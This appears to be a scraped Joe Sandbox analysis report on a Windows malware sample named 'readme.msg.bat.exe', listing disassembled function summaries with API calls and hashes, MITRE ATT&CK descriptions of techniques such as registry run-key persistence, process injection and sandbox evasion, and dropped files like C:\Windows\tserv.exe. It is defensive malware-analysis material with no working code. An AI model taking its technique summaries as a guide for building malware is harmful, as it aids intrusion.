Instruction Fuzzy Hash: A3412531B007228BDB24EB65F88566E77A0AF01334FA5872FD461962D1CB7C8542CB5C

Function 0042A754 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0042A761
_strlen.LIBCMT ref: 0042A77A
_strlen.LIBCMT ref: 0042A7B3
_strcat.LIBCMT ref: 0042A7D0

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: _strlen$___initmbctable_strcat
String ID:
API String ID: 109824703-0
Opcode ID: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction ID: 5385ac430a30b69aec2053d85f27ee94e75532dfac9a54d499d343a2729e6959
Opcode Fuzzy Hash: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction Fuzzy Hash: EC1189726064309FD728BF247D4062B7BA5FB403347A4017FED8183262DB3D9855D68E

Function 004074A0 Relevance: 6.0, APIs: 4, Instructions: 39synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction ID: 3b8a7f17e4ebfe061791b5d315a4e5195bc8dd0f575c6c97dd90d4b1bd1d3e46
Opcode Fuzzy Hash: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction Fuzzy Hash: 4BF044773045009B8274DB1AEA04867B7A6FBD53213454A3AF542D3750C535FC06CA64

Function 0042B02D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0042B049

Strings

, xrefs: 0042B070
, xrefs: 0042B097

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction ID: 8a9144dc760d119363f862b2835ecdd30cff94b7cff921278a221d8c6e03feef
Opcode Fuzzy Hash: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction Fuzzy Hash: 83416A302003786FEB168B54ED6ABFB7BE8EF06344F6444E2D585C71A2C3984A9587DC

Function 0042CB30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042CBE4

Strings

$C, xrefs: 0042CB6B
$$C, xrefs: 0042CB85

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: __lock
String ID: $C$$$C
API String ID: 1351747465-3751191682
Opcode ID: 644a0982e1412aae1b84127758aa2c5dd4611e4ab37dedf937013aa29887e9e1
Instruction ID: b1263411a33c7abb084cf6b3ba1c38a65e28a18038912d737f562992e4ca65ea
Opcode Fuzzy Hash: 644a0982e1412aae1b84127758aa2c5dd4611e4ab37dedf937013aa29887e9e1
Instruction Fuzzy Hash: 1B41A031F002248BCF28DF2AF8C556D3BA1EB59310BA5806BD809EB355C73CAD418B9D

Function 0042A987 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0042A999
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\readme.msg.bat.exe,00000104,75920A60,00000000,?,?,?,?,00425EB0,?,0042E598,00000060), ref: 0042A9B1

Strings

C:\Users\user\Desktop\readme.msg.bat.exe, xrefs: 0042A9A3, 0042A9A8

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Users\user\Desktop\readme.msg.bat.exe
API String ID: 767393020-792606514
Opcode ID: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction ID: 44a9705287dc85e6541789c5441cd73dc39d0e17858977665928a33e7fa3aab4
Opcode Fuzzy Hash: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction Fuzzy Hash: 26113AB2B00220ABCB11DBAABD4069B77F8EB44320F51057FFD05D3241D6B89E40C759

Function 00424762 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424767

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

Part of subcall function 004255BE: __lock.LIBCMT ref: 004255DC
Part of subcall function 004255BE: HeapFree.KERNEL32(00000000,?,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00425623

Strings

hB, xrefs: 00424795
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ExceptionFreeH_prologHeapRaise__lock
String ID: hB$string too long
API String ID: 2277933175-4162919455
Opcode ID: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction ID: a0063198a6ad5418a60f27aa6fdeb6e5ae7cc0c3ac2dcd9628e5fcf86c67384a
Opcode Fuzzy Hash: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction Fuzzy Hash: 3EF08271B00138EAC700FBE5E90979D7774AF04319FE4416FE00165195CBFD5545CA5D

Function 0042884B Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00428E3C,00000000,?,00000000), ref: 00428872
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00428E3C,00000000,?,00000000), ref: 004288AB
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004288C9
HeapFree.KERNEL32(00000000,?), ref: 004288E0

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction ID: 72779762a505b3105af33e06486f7e26f074df3cc48a41ce57bbcb179b6b58b0
Opcode Fuzzy Hash: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction Fuzzy Hash: 11116D303002119FD735AF19FC46926BBF1FB91366790563EF152C62B0C771A952CB08

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report readme.msg.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\A853.tmp

C:\Windows\tserv.exe

C:\Windows\tserv.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
readme.msg.bat.exe

Function 004210D0 Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 276
COMMON

Function 00423260 Relevance: 56.0, APIs: 37, Instructions: 460
memoryCOMMON

Function 0041F660 Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 125
libraryloaderCOMMON

Function 00425D91 Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Function 00420570 Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 584
COMMON

Function 0041FD50 Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 368
memoryregistryCOMMON

Function 00420AC8 Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Function 00421550 Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 293
memoryregistryCOMMON

Function 0041F8E0 Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 291
COMMON

Function 00415060 Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 301
COMMON

Function 00412620 Relevance: 54.5, APIs: 15, Strings: 16, Instructions: 215
memoryfileCOMMON

Function 00421A20 Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 219
memoryregistryCOMMON

Function 0041FAD9 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Function 0041F020 Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Function 00412897 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79
stringprocessCOMMON